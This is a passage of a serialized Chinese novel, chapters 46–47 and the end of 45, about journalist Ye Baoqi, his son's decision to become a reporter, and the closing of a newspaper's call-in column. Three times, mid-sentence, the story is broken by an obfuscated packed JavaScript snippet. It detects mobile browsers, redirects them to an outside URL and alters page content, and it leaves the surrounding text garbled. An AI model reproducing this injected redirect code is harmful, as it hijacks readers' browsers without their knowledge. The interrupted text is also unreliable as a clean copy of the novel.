下午的业务学习会,按计划是叶葆启主讲“深度报道的伦理边界”。年轻记者们坐满了小会议室,笔记本和录音笔摆了一桌。但叶葆启走上讲台后,沉默了很久。 窗外,杨絮还在飘。一团絮毛被风吹进窗户,在空中打着旋,迟迟不肯落下。 “今天我们不讲理论。”叶葆启终于开口,声音比平时更低沉,“我给你们念几封信。” 他从随身携带的旧公文包里取出一个厚厚的牛皮纸信封,从里面倒出一叠信件。这些信纸颜色不一,质地各异,有的已经泛黄卷边。他戴上老花镜,开始读: “叶记者,我是东郊化工厂的下岗工人。看了您写的《锈蚀的齿轮》,我哭了一整夜。不是伤心,是觉得终于有人记得我们了……” “叶老师,我是师范学校的学生。您二十年前写的《乡村教师王瞎子》,让我决定回家乡教书。今年我教的第一个学生考上了大学……” “葆启兄,我是你在罗布泊遇见的那个地质队员老周的儿子。父亲去年走了,临终前还念叨你送他的那支钢笔。他说,那支笔写过真实的文字,比奖章珍贵……” 一封接一封。叶葆启读得很慢,每个字都像是从深井里打捞上来的,带着岁月的凉意和重量。会议室里只有他的声音,和窗外偶尔传来的汽车鸣笛声。有人开始低头擦眼睛,有人笔尖停在纸上,墨水洇开了一个小小的蓝点。 读完第七封,叶葆启停下来,喝了口水。水是凉的,滑过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904197|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉咙时像一道小小的瀑布。 “这些信,”他把信纸小心地收好,放回信封,“我收藏了二十年。搬了五次家,扔了很多东西,但这些信一直在。” 他抬起头,目光扫过台下年轻的面孔:“你们问我什么是新闻的伦理边界?我不知道。但我知道,当你写下每一个字时,都要想象它在十年后、二十年后被重新读起的模样。要想象那个被你报道的人、被你影响的人、甚至被你伤害的人,在时光的另一端注视着这些文字时的眼神。” “记者手中的笔,”他举起自己的那支老式英雄钢笔,笔身已经磨出了铜底,“不是权杖,不是匕首,也不是鲜花。它是一枚种子。你永远不知道这枚种子会落在哪里,会在什么时候发芽,会长成什么。你只能保证,这枚种子是饱满的,是干净的,是能活下来的。” 他讲起西部万里行时遇见的那个牧羊人。老人不识字,但能通过云的形状预测风雨,通过草的倒向判断兽踪。他说:“娃娃,你们写字的人,也要学会看痕迹。不是看纸上的痕迹,是看心里的痕迹。你写的东西,在人心里留下的是暖痕还是疤痕,你自己要知道。” 讲起穿越罗布泊时,在沙漠深处看见的一棵枯死的胡杨。树干已经被风沙掏空,但依然保持着一百年前生长的姿态。向导说,这棵树死了,但它站着死,就成了路标。后来的人看着它,就知道该往哪里走,不该往哪里走。 “我们写的每一篇报道,都可能成为这样一棵树。”叶葆启说,“也许它不会开花结果,也许很快就会被遗忘。但只要它在某个时刻、某个地方,为某个人提供过一点荫凉,标示过一个方向,它的生命就没有白费。” 他讲得动了情,花镜滑到了鼻尖。他推了推眼镜,这个动作让他看起来不像个资深记者,倒像个乡村教师。 最后他说:“这次疫情,你们很多人都做得很好。那些表彰,该拿就拿,不要矫情。但拿了之后要记得,奖状会褪色,锦旗会积灰,而你在人心留下的痕迹,会在你看不见的地方继续生长。这才是记者真正的遗产。” 散会后,王蔓留了下来。这个圆脸姑娘眼睛还红着,说话时带着鼻音:“叶老师,我……我昨天差点去辞职。” “为什么?” “我觉得自己写得不够好。”她的眼泪掉下来,“我去采访那个失去母亲的孩子,他抱着我说‘记者姐姐,你能把我妈妈写回来吗’。我一个字都写不出来……我觉得自己好无能。” 叶葆启从抽屉里拿出一包纸巾递给她。纸巾是廉价的,粗糙的,但吸水性很好。 “小蔓,我告诉你一个秘密。”等她的抽泣声渐渐平息,叶葆启轻声说,“最好的报道,往往是从‘写不出来’开始的。当你觉得语言无力时,你才开始触摸到真实的边缘。那些下笔千言、洋洋洒洒的,反而要警惕。” 他给她讲了自己第一次面对死亡采访的经历。那是三十年前,一家煤矿瓦斯爆炸,二十三人遇难。他站在井口,听着家属的哭声,笔记本上一个字都写不出来。最后见报的只有三百字,干巴巴的事实,没有形容词,没有抒情。但很多年后,还有遇难者家属找到他,说:“谢谢你当时没渲染我们的痛苦。” “记者的克制,有时是最大的慈悲。”叶葆启说,“而你为孩子写不出的那些字,已经留在你心里了。它们会生根,会让你以后的每一篇报道,都多一些温度,少一些轻浮。这就够了。” 王蔓擦干眼泪,深深鞠了一躬:“谢谢您,叶老师。” 她离开后,叶葆启独自在会议室坐了很久。夕阳西下,橙红色的光铺满长桌,空气中的灰尘在光柱里舞蹈,像微型的星河。他忽然想起昨夜那些纸蝴蝶,它们现在在哪里呢?也许正停在哪扇窗前,也许被哪个孩子捡起,也许已经化作了春泥。 但都不重要了。它们飞过,这就够了。 那天晚上,叶葆启做了一个梦。 他梦见自己回到了童年时的小镇。那是江南水乡,青石板路被岁月磨得光滑如镜,倒映着两岸的白墙黛瓦。他挎着母亲的蓝布书包去上学,书包里装着识字课本和一支珍贵的铅笔——那是当小学教师的父亲用半个月的烟钱换来的。 走到镇口的石拱桥时,他看见桥墩上密密麻麻停满了蝴蝶。不是纸的,是活的,翅膀在晨光中闪烁着蓝紫色的金属光泽。它们安静地栖息在那里,像一场等待了很久的集会。 他走近时,蝴蝶们纷纷飞起,围着他盘旋。然后,不可思议的事情发生了:每一只蝴蝶的翅膀上,都浮现出文字。 他认出了那些字迹。有的是父亲的板书,工整方正;有的是母亲在家书里写给他的叮嘱,温柔绵密;有的是他第一篇发表在墙报上的作文,稚嫩却真诚;有的是他记者生涯的第一篇报道,激情澎湃;有的是在西部沙漠写的采访手记,风尘仆仆;有的是白袍之城里的见闻,沉重而温暖…… 他一生的文字,都以这种方式回来了。 蝴蝶们飞过石拱桥,飞过小镇的屋檐,飞向更远的地方。他追着它们跑,书包在背后一颠一颠。跑着跑着,他发现自己变小了,变成了那个刚学会写字的孩子;然后又变老了,变成了现在这个两鬓斑白的记者。他在时空中穿梭,却始终追不上那些飞翔的文字。 最后,蝴蝶们汇入了一条河——不,那不是河,是无数支笔正在书写的轨迹。那些笔悬在空中,看不见握笔的手,只有笔尖在纸上划过的沙沙声,汇成了浩瀚的声浪。他看见自己的那支英雄钢笔也在其中,笔尖已经磨秃了,却依然在写,写出一行行看不见的字。 那些字落进虚空,化作雨,落回人间。 梦醒时,天还没亮。叶葆启躺在床上,听着窗外早起的鸟鸣,忽然感到一种前所未有的平静。枕边,那支英雄钢笔静静地躺在笔记本上,笔帽没有盖,仿佛随时准备书写。 他起身走到窗前。城市正在苏醒,远方的天际线泛起鱼肚白。晨雾中,似乎真的有蝴蝶在飞,翅膀上载着这个春天所有的记忆、所有的失去、所有的希望。 他知道,今天会有新的热线电话打进来,会有新的信件寄到,会有新的故事等待被讲述。而他会继续坐在那张旧办公桌前,用磨秃的笔尖,在纸上留下痕迹——不是为了被记住,只是为了证明:这个时代,有人曾认真地看过,听过,记录过。 这就够了。 真正的荣誉,是沉默的。它不在红榜上,不在奖杯里,而在那些深夜飞舞的纸蝴蝶中,在读者珍藏的信件里,在年轻记者湿润的眼睛里,在时光深处永不褪色的墨迹里。 叶葆启打开灯,开始写今天的第一行字。 窗外的天空,渐渐亮了。 46. 第046章 血脉里的墨水与光 时光像一头老牛,拖着沉重的犁铧,在内海的土地上缓缓耕到了二零零三年夏天。空气里飘着海盐的腥气和槐花将败未败的甜腻。叶葆启的儿子叶舟,在这黏稠的夏季里,完成了大学四年的学业,站到了人生的岔路口。 叶舟学的是金融,毕业于一所被玻璃幕墙包裹的大学,成绩单干净得像新印的钞票。毕业前夕,他同时攥住了两条路:一条通往上海陆家嘴某外资银行的旋转门,门后是恒温的空调、意大利咖啡机的嘶鸣和起薪数字后头令人眩晕的零;另一条,则伸向内海市老城区那座墙皮斑驳的五层小楼——《内海都市报》社,职位是财经记者。 选择像一把生锈的钥匙,卡在他年轻的锁芯里,转不动,也拔不出。 晚饭是在阳台上吃的。素琴炒了蛤蜊,蒸了扇贝,海货的鲜气混着晚风,却吹不散桌上的沉默。叶舟扒拉着饭粒,终于把问题抛了出来,声音轻得像怕惊动瓷碗边沿趴着的苍蝇:“爸,妈,我该往哪边走?” 素琴的手在围裙上擦了又擦,指节泛白。她望向丈夫,目光里是海边的女人常见的担忧与柔韧交织的神色。她当然渴望儿子踏进那光鲜亮丽的玻璃宫殿,生活安稳得像熨烫过的衬衫。可她也记得,儿子大学四年,那些深夜从校报编辑部回来时,眼睛里燃着的那种火,那不是算计数字的火,而是另一种,更野性、更不安分的光。 叶葆启没有立刻回答。他放下筷子,那筷子是竹的,用了许多年,头尾都磨得泛出温润的暗红。他点起一支烟,烟雾在夕阳的余晖里拉出长长的、蓝色的影子。他看着儿子,像在看一片尚未被潮水完全塑造的沙滩。“小舟,”他开口,声音带着长年累月吸烟和熬夜的沙哑,“你自个儿心里,哪头沉?为个啥?” 叶舟抬起头。他的脸膛还留着少年的轮廓,但眼神已经尝试着往深处挖了。他想了很久,久到一只海鸟从阳台外掠过,投下倏忽的影子。“去外头的那条路,亮,也平,能看见别人看不见的风景,能摸到别人摸不着的数字。可是……”他停顿,喉结上下滑动,仿佛在吞咽某种无形的硬块,“我总觉得,那里头是空的。像一座修得齐齐整整的墓园,规整,安静,但没有活气。少了……少了像咱家楼下菜市场那种乱哄哄的活气,少了像你那些采访本里,人哭人笑、人骂人求的那种……热乎气。” 他眼神飘向屋里。客厅靠墙是父亲那排顶天立地的枣木书架,上面密密麻麻挤着的不是精装书,而是一摞摞颜色不一、厚薄各异的笔记本。牛皮纸的封面被摩挲得起了毛边,有些用麻绳捆着,有些夹着褪色的纸条。那是叶葆启二十多年记者生涯的“坟冢”,里面埋着无数人的悲欢、时代的尘屑和一座城市的呼吸。 “我记得小时候,”叶舟的声音低了下去,仿佛在回忆一个遥远的梦境,“你总很晚回来,身上有时是印刷厂的油墨味,有时是拆迁工地的尘土味,有时……是医院消毒水的味道。你累得瘫在沙发上,话都不想说。可要是哪天,你帮哪个没了土地的农民要到了补偿,或者逼着哪个衙门把堵了三年的下水道给通了,你眼睛里的光就能把整个屋子点亮。还有那些本子,我小时候偷着翻过,看不懂多少字,但里面贴的车票、画的路线图、按的红手印……还有,还有你记的,‘王老三说着说着哭了,眼泪掉进缺了口的茶碗里’,‘李寡妇家的屋顶漏雨,盆接水的嘀嗒声像钟摆’……爸,我觉得那些东西,比任何报表上的曲线和数字,都更像真的‘活着’。它们……有体温。” 叶葆启静静地听着,烟灰积了长长一截,忘了弹。儿子的话像一把生锈却锋利的犁头,突然翻开了他内心一块板结已久的土地。他从未奢望儿子继承这份“捉笔如捉刀”的行当,甚至私下里,他盼着儿子能远离这条布满暗礁与风浪的航道,驶向平静的港湾。可儿子此刻的眼神和话语,让他看见了一种近乎宿命的吸引——那并非对父辈荣光的简单追慕,而是一种对“真实”近乎贪婪的渴求,一种渴望将自身血脉融入更宏大叙事洪流的冲动。 “记者这碗饭,小舟,”叶葆启终于弹掉烟灰,声音沉得像夜幕降临前的海,“不是你想的那么风光。它里头爬满了虱子。”他用一种近乎残酷的平实语气描述着:“是通宵熬出来的黑眼圈,是跑断腿也追不到一个确切回音的憋屈,是写了洋洋万言最后被红笔一抹只剩个标题的窝囊,是面对受害者家属眼泪时自己无能为力的羞愧,是得罪了人半夜接到匿名电话那头只有冷笑的寒意。收入?饿不死,也撑不着。稳定?今天不知道明天派你去哪,是矿井底下还是洪水里头。你说的那些‘发光’的时候,有,像萤火虫,亮一下,更多时候是在漫漫长夜里摸索,一身泥泞,满脸灰土。” “这些,我晓得。”叶舟点点头,目光没有躲闪,“我看过你非典时候的照片,穿着那身白衣服,像裹在塑料布里,只露一双眼睛。妈跟我说过,你去西边,在罗布泊边上,车子陷进沙子里,靠喝自己的尿撑了两天。我也听过你打电话跟人拍桌子,气得手抖。我知道它难,它苦,它险。”他顿了顿,年轻的胸膛起伏着,像鼓满风的帆,“可我觉得,正是因为它又难又苦又险,趟过去了,那印在报纸上的铅字,才像活过来一样,有了骨头,有了分量。就像你常念叨的那句,‘脚底板不沾二两黄泥,笔尖子就淬不出三分血色;心窝里不装着活生生的人,写出来的字就是纸钱,风吹就散。’” 叶葆启猛地一震。这句话是他酒醉后或极度疲惫时,才会从心底最深处冒出来的呓语,从未正式对儿子讲过。它竟像一粒种子,不知何时被风刮进了儿子的心田,默默生了根,发了芽。他意识到,自己这大半生,与其说是用言语教育儿子,不如说是用背影,用气息,用那些深夜里书房不肯熄灭的灯光,用那一身总也洗不净的、混合着油墨、尘土和香烟的复杂味道,完成了最彻底的濡染。 “你想干记者,”叶葆启往前探了探身子,目光如炬,要烧穿儿子年轻的表象,“是觉得你老子这么活了一辈子,挺带劲?还是你自个儿骨子里就痒痒,就想把脑袋往麻烦里钻,就想扒开光鲜亮丽的外壳,看看底下到底是脓是血还是滚烫的良心?就想跟三教九流的人打交道,从他们嘴里、眼里、皱纹里,把被藏起来的‘真’给抠出来?” 问题像锤子,砸在砧板上。叶舟没有立刻回答。他望向阳台外。夜色完全降临了,远处的海变成一片沉厚的墨蓝,只有近处的渔火,星星点点,固执地亮着。他想了很久,久到母亲素琴悄悄起身,又给他碗里添了一勺早已凉透的汤。 “都有吧,爸。”他终于开口,声音清晰了许多,“觉得你那样活,是带劲。但更主要的是……我想弄明白。”他转过头,直视父亲,“我想弄明白,你那些本子里,那些哭啊笑啊骂啊求啊的后面,到底是一个什么样的世道,什么样的人心。我想用我自己的眼睛去看,用自己的脚去量,用自己的笔——当然,现在可能先用键盘——去记下来。记下我爸这代人怎么把一座城从旧梦里拖出来,也记下我们这代人,要把它变成什么样。爸,我觉得,总得有人去记,不然,活过就跟没活过一样,过去了就真成了灰。” 这话像一颗温暖的子弹,击中了叶葆启的心脏。他看见了一种超越血缘的、精神谱系上的确认。这不是模仿,这是觉醒;不是承袭,是对话。一种对历史与当下的勘探欲,一种近乎本能的记录冲动,这正是新闻血脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904198|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里最珍贵的染色体。 素琴一直默默听着,手里无意识地捏着一只扇贝壳,边缘锋利,几乎要割破她的指尖。她终于松开手,贝壳掉在水泥地上,发出清脆一响。她看着丈夫,又看看儿子,眼里有泪光,但嘴角却慢慢弯起一个温柔的弧度。“葆启,”她说,声音海风般轻柔却坚定,“让小舟自己走吧。他大了,魂儿有自己的分量,知道该往哪边沉。是去银行数别人的钱,还是去报社写世间的理,都是他自己的修行。只要路走得正,心摆得中,是泥泞小道还是柏油大路,妈都给他留着门,温着饭。” 叶葆启长长地吁出一口气,那气息里包含了半生的风雪。他看向儿子,点了点头,那点头的幅度很小,却重若千钧。“好。路,你自己挑。但挑上了,就得认。记者这行,门槛在门框上,低头就能进;可要想在里头站稳了,走出个人样来,门槛就在你心里,在天上。得有铁打的脚板,纸薄的命,还得有……一颗摔不碎、腌不咸的心。荣耀是别人的,艰辛是自己的,守住笔尖底下那点良心,比守住金山还难。” 叶舟的眼睛在昏暗的灯光下亮得惊人。“爸,我想好了。我去报社。我想试试,我这支笔,能不能也蘸上点时代的墨,人间的血,写出点……有声响、有回音的字来。” 于是,叶舟把那封印着烫金徽章的外企录取通知,锁进了抽屉深处,像埋葬一个精致而苍白的梦。他通过了报社公开招考的笔试与面试,在一个槐花落尽的清晨,走向那座墙皮斑驳的五层小楼。 那天,叶葆启没有送他。他站在自己办公室那扇布满雨渍的玻璃窗前,看着儿子略显单薄却挺直的背影,穿过院子里那棵老槐树投下的破碎光影,一步一步,走进那座他战斗了大半生的堡垒。晨光给儿子的轮廓镀上一层毛茸茸的金边,那一刻,叶葆启仿佛看见二十多年前,那个同样怀揣着几分忐忑、几分豪情、口袋里只装着笔记本和钢笔的年轻自己。 百感,像退潮后沙滩上显露的贝壳与杂物,纷繁杂乱。欣慰的暖流底下,是暗涌的担忧;期待的帆影旁边,是沉重的舢板。更有一种奇异的传承感,如同古老的巫祝仪式,他将那支无形而沉重的“笔”,递到了下一代的手中。他能跑多远?他能写多深?他能在这信息如海啸般扑来的时代,守住那一点点“真”的礁石吗?叶葆启不知道。但他相信,只要那腔子血还是热的,只要那支笔还敢往坚硬处凿,路,就断不了。 晚上,素琴使出了浑身解数。清蒸鲈鱼的眼睛还瞪着,油爆大虾蜷缩着红亮的身躯,凉拌海蜇头脆生生地响。一家三口举起了酒杯,杯中是本地产的高度白酒,清冽而暴烈。 叶葆启看着儿子被酒气熏得微微发红的脸颊,郑重开口,如同举行一个简易的仪式:“叶舟记者,欢迎你,进这个门。从今往后,在这栋楼里,在新闻行当里,你是叶舟,凭你自己的本事吃饭,靠你自己的作品立身。我的名字,是你的血缘,不是你的招牌,更不是你的台阶。记住了?” 叶舟站起身,酒杯端得平稳,年轻的喉结因紧张而滚动。“爸,我记住了。我是叶舟。”他一字一顿。 两只酒杯,一只有些磨损,杯壁留着经年的指痕;一只崭新,折射着明亮的灯光。它们在空中轻轻相触。 “叮——” 一声清越悠长的脆响,仿佛不是来自玻璃,而是来自时间深处,来自血脉源头。它荡开去,惊动了窗外栖息的海鸟,也仿佛惊动了某个沉睡的、关于笔与血、墨与火、记录与抗争的古老契约。 薪火在传递,不知其温度能否抵御将至的风霜。笔耕未辍,土地已悄然更换了模样。 故事,被新的手翻开了一页。 47. 第047章 声桥沉入雾中 那是2014年深秋的一个午后,内海市的天空呈现一种罕见的铅灰色,像是有人用蘸满陈年墨汁的毛笔,在天幕上缓缓拖过。风从渤海湾吹来,带着咸腥与煤烟混合的气味,钻进《内海都市报》报社老楼的每道缝隙。 叶葆启站在六楼会议室的窗前,望着窗外。他五十九岁的眼睛已有些浑浊,但此刻却异常明亮——仿佛有两簇小小的火焰,在瞳孔深处摇曳。今天,他要为自己“十七岁的孩子”举行一场庆典式的告别。 会议室里漂浮着旧纸张、旧地毯和旧时光的气味。墙上挂着的那些照片,在从窗户斜射进来的灰白光线中,仿佛有了生命。1997年春,第一场“听潮阁”的照片已经泛黄,画面中那位自来水公司的经理,年轻得让人心疼,他紧握着黑色话筒的手指关节发白,额头上沁出细密的汗珠——那时谁也不知道,这个略显仓促的开场,会延续十七年。 “它们在看我们呢。”一个声音在身后响起。 叶葆启转身,看见退休的区长老王正仰头端详那些照片。老王今年七十三了,背微驼,但眼睛仍像鹰一样锐利。 “是啊,”叶葆启轻声说,“每一张都在看。我有时深夜加班路过这间屋子,能听见他们在里面低声交谈。” 老王笑了,露出几颗银色的假牙:“你这老记者,还是这么会说故事。” 但叶葆启没有笑。他说的是真话。至少在他的感知里是真话。那些照片里的面孔,那些记录本上的字迹,那些录音带里尚未完全消散的声音,都在这个空间里形成了某种场域,某种记忆的结界。十七年来,数十万个电话,数万人次来访,无数被解决的问题和未被解决的遗憾——所有这些能量都沉淀在这里,如同古老庙宇中积累的香火。 下午两点,与会者陆续到来。 七十八岁的社科教授老赵拄着拐杖,他的眼镜链子闪闪发光,像某种神秘的装饰。街道居委会主任李兰提着一袋自家种的枣子,硬是塞给每个到场的人。还有几位老读者——王大妈穿着二十年前流行的绛紫色外套,口袋里露出一角泛黄的报纸;退休工人老陈手里攥着一个牛皮纸信封,里面装着他十七年间写给栏目的二十七封信的复印件。 最后到场的是几位曾经“听潮”的领导,如今大多已退休。他们彼此握手、拍肩,称呼着彼此过去的职务,声音里有一种卸下重担后的松弛,又夹杂着一丝对往日权力的微妙眷恋。 叶葆启看着这些人,突然产生一种幻觉:他们不是走进会议室,而是从墙上的照片里走下来的。他们的年轻版本仍固定在相框里,而年老的自己则在房间里移动、交谈,形成一种奇异的时间叠影。 “开始吧。”他对自己说,也对着满屋的幽灵说。 座谈会以叶葆启的发言开场。他没有拿讲稿,只是将一摞厚重的记录本搬到桌上。那些本子的封面磨损严重,边角卷起,纸张因为常年翻动而变得柔软如绒。 “这是第一期到最后一期的值班记录,”他的手指拂过封面,灰尘在光线中起舞,“每一页都记着来电人的诉求、接听官员的答复、后续处理情况。有些字迹工整,有些潦草;有些页面沾着茶渍,有些角落画着无奈的简笔画。” 他翻开其中一本,1998年夏天的记录。某页上有一滴已经变成褐色的血迹。 “这是房管局老刘留下的,”叶葆启的声音很轻,“那天他重感冒,流鼻血,但坚持接完了所有电话。晚上十点,最后一个电话是城中村危房户打来的,说屋顶漏水,不敢睡觉。刘局长听完,直接去了现场,变成了雨夜抢险指挥。” 会议室安静下来。所有人都看着那滴干涸了十六年的血,仿佛能听见当年电话里的雨声。 王大妈是第一个发言的群众代表。她从口袋里掏出那份珍藏的报纸,2002年11月28日的《内海都市报》,第四版整版是“听潮阁”特别报道。 “看,”她的手指点在泛黄的版面上,“这张照片里,供热公司的孙总正接我电话呢。我那天急啊,我们那栋楼老人多,暖气片都是凉的...” 她的讲述开启了某种闸门。随着她的声音,叶葆启看见——真的看见——会议室里浮现出当年的场景:年轻的王大妈站在寒冷的公用电话亭里,呵出的白雾模糊了玻璃;报社这间会议室里,孙总额头冒汗,一边接电话一边在便签上疾书;然后是换热站的工人在深夜抢修,蒸汽在冬夜里升腾如鬼魅;最后是温暖的房间里,老人们安然入睡的脸。 这些影像如薄雾般在现实空间叠加,又缓缓散去。叶葆启眨了眨眼,不确定是自己想象过度,还是这房间真的记住了太多故事,以至于能在特定时刻重演记忆。 “...所以我要谢谢这个栏目,谢谢叶记者。”王大妈结束发言,擦拭眼角。 叶葆启点头,在记录本上写下:“暖气,2002年冬,已解决。”其实不用写,他记得每一个细节,包括王大妈当时电话里的哭腔,和三个月后她送来的那面锦旗上略显蹩脚的绣工。 老赵教授从学术角度发言,但他的话语间飘散着某种超现实的意味。 “在社会转型的特定历史褶皱里,‘听潮阁’这样的实践,就像一株奇异的植物,在缝隙中生长出来。”他的眼镜反射着灯光,让人看不清眼睛, 教授说话时,叶葆启注意到那些记录本微微颤动,仿佛书页中的字迹在窃窃私语。有一本自动翻开到2005年春天的部分——那是城管人员“听潮”的日子,当天接听了七十二个电话,大部分是投诉占道经营的。 “这种直接沟通的形式,将官员置于一种‘被观看’‘被质询’的透明状态,”教授继续道,“就像古代县太爷升堂,但这次,围观的不只是堂下百姓,还有数十万读者。产生了奇妙的治理效应...” 叶葆启走神了。他想起那位城管局长,姓韩,一个彪形大汉,却在接听一个卖菜老太太的电话时,突然哽咽。老太太说她儿子死了,媳妇跑了,只剩她和孙女,靠一个小菜摊过活,城管却天天来赶。“我也要养家啊,”韩局长当时对着话筒,也对着满屋的记者说,“但规矩就是规矩...”那天晚上,他自掏腰包买了老太太所有的菜,还帮她找到了一个合法摊位。这事从没见报,只留在值班记录和叶葆启的记忆里。 “...所以即使形式终结,其精神遗产将在新的媒介生态中变异、延续。”教授结束了发言。 会议室响起礼貌的掌声。叶葆启看见,在掌声中,那些挂在墙上的照片里的人物,似乎也轻轻点了点头。 退休老区长王志国的发言把大家拉回到更具体的历史情境中。 “我第一次来‘听潮’,是2001年,管城建的时候。”老王的声音沙哑,像老旧收音机,“那天接了四十多个电话,全是骂我的。道路施工扰民、拆迁补偿不公、规划说变就变...挂掉最后一个电话,我衬衫湿透了,不是热的,是冷汗。” 他顿了顿,环视四周:“但那是我从政二十多年,上过的最重要的一课。在办公室看文件,那些‘群众诉求’只是数字和案例;在这里接电话,你能听见呼吸声,听见哽咽,听见绝望或者希望。政策不再只是文本,而是具体人生的转折点。” 随着他的讲述,叶葆启又产生了幻觉:会议室里浮现出不同年代官员接电话的剪影——有人正襟危坐,有人抓耳挠腮,有人对着空气比划,有人把脸埋进手掌。这些半透明的身影重叠在一起,形成一种奇异的合唱,虽然无声,却充满了语言的能量。 “我记得最清楚的是一个下岗工人,”老王继续说,“他说一家三口住十五平米,女儿十六岁了,还和父母睡一屋。他打了三十多个部门的电话,没解决。在我们栏目,我接到了。三个月后,他们家分到了廉租房。搬家那天,他打电话到报社,不是找我,是找接线的记者,说‘替我谢谢那位领导,虽然他可能不记得我了’。” 老王停下来,喝了口水:“我怎么会不记得?我记得每一个。” 叶葆启在记录本上找到那条记录:2003年5月17日,下岗工人张建国,住房困难,转交王副区长。边缘有一行小字,是老王后来加的:“已解决,两室一厅,女儿有了自己的房间。” 随着座谈深入,房间里的“存在感”越来越强。叶葆启不是唯一感受到的人。李兰主任小声对旁边人说:“怎么觉得人越来越多了?”老陈则不时看向墙角,仿佛那里站着看不见的听众。 这种氛围在叶葆启展示那些实物时达到顶峰。 又拿出一沓信,用橡皮筋捆着。“这些是没能在栏目中解决问题的读者来信。每一封我都读过,很多问题超出单个部门权限,或是制度性难题。我留着它们,作为提醒。” 最后,他按下老式录音机的播放键。磁带嘶嘶转动,然后传出一个女人的声音,带着九十年代特有的电话音质: “...我丈夫在工地摔伤了,包工头跑了,医院要钱才给治...求求你们,帮帮我...” 接着是一个男声,2000年代初某局长的声音:“您别急,告诉我工地位置,我们马上介入...” 然后是2010年一个年轻人的声音:“我们小区的物业和开发商勾结...” 不同年代、不同声音的片段交织在一起,在会议室里回荡。那些声音如此鲜活,仿佛说话者就站在房间某处。叶葆启看见,几位老读者在抹眼泪,连一向严肃的赵教授也摘下了眼镜。 磁带播完了,但余音似乎还在空气中振动,融入房间本身的声音记忆层中。 自由讨论环节,大家开始谈论栏目的局限与终结的必然。 “有时候只是个出气筒,”一位退休局长直言,“老百姓知道有些问题解决不了,就是想找地方喊一喊。” “新媒体时代,微博微信太快了,”李兰主任说,“我们社区现在有微信群,发现问题拍照上传,比打电话快多了。” “但那些碎片化的投诉,能形成真正的压力吗?”赵教授质疑,“‘听潮’的仪式感和媒体曝光度,是随手发条微博能比的吗?” 叶葆启静静地听着,手指无意识地摩挲着记录本的封面。他能感觉到,这个陪伴了他十七年的“孩子”正在一点点消散,如同晨雾在阳光下。但他也感觉到,有什么东西在凝聚,在转化。 一位一直沉默的老读者,退休教师周文,缓缓举手。他八十岁了,说话很慢,但每个字都清晰: “我孙子教我用微信,我也在群里看消息。但那些碎片,就像沙滩上的脚印,潮水一来就没了。”他停顿,寻找着词语,“‘听潮’不一样。它是一棵树,长在固定的地方,年轮一圈圈增加。你打电话时知道,会有个真人接听,会有记录,会登在报纸上,会留在某个地方。这种‘实在感’,现在越来越稀罕了。” 叶葆启感到心头一震。老人说出了他自己未能表达的感觉——在这个日益虚拟化的时代,那种具身的、有仪式感的、留下物理痕迹的沟通,正在变成奢侈品。电话机、记录本、签名、盖章、纸质报纸...这些看似陈旧的形式,却承载着某种不可替代的“真实权重”。 座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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黄昏的光线斜射进来,把房间切成明暗两半。他沿着墙慢慢走,看每一张照片,抚摸每一本记录。在这些物理载体中,封存着十七年的悲欢、愤怒、感激、无奈。他想,如果有一种技术能提取纸张中的记忆分子,播放出来,该是多么波澜壮阔又琐碎平凡的史诗。 在2006年的照片前,他停住了。那是法院院长“听潮”专场,面对执行难的问题。照片中的张院长眉头紧锁,面前摆着三台电话,同时接听。那天创造了记录——九十七个电话,从早八点到晚八点。 叶葆启记得,中午休息时,张院长站在这个窗前,背对着大家说:“我以前以为法律文书就是终点,现在知道,那只是起点。老百姓要的不是一纸判决,是实实在在的结果。”那天之后,法院成立了专门的执行快速反应小组,机制沿用至今。 “你们都完成了自己的使命。”叶葆启对着照片轻声说。 他走到桌前,打开最旧的那本记录。1997年4月3日,第一通电话,反映自来水发黄。周经理的答复是:“我们马上去查,两天内给您回音。”简简单单一句话,开启了一个时代。 叶葆启拿出笔,在最新一本的最后一页,写下: “2014年11月7日,‘听潮阁’最后一期座谈会举行。十七年历程,始于水,终于言。形式将逝,精神长存。桥会坍塌,但渡河者已找到新路。感谢所有参与者,所有关注者。门虽关闭,窗已打开。” 他合上本子,感到一种奇异的圆满。就像一个说书人讲完了一部漫长的史诗,最后一个音节落下,余韵在空中回荡,然后逐渐融入寂静。 收拾好东西,叶葆启关掉会议室的灯。在黑暗中,那些照片、记录本、锦旗、信件,都变成了模糊的轮廓,像是沉睡的兽群。 他轻轻带上门,站在走廊上。键盘声从编辑部传来,嗒嗒嗒嗒,如同时代的心跳。年轻的记者们在追踪新的热点:地铁新线路规划争议、共享单车乱停放、学区房政策变动...他们用着最新的设备,在社交媒体上即时互动,获取信息的速度是他年轻时无法想象的。 但他并不感到过时。每个时代有每个时代的媒介,每个媒介有每个媒介的力量。电话和报纸的联盟完成了它的历史任务,现在是微信、微博、客户端、短视频的时代。形式在变,但核心的追问不变:权力如何被监督?诉求如何被听见?问题如何被解决? 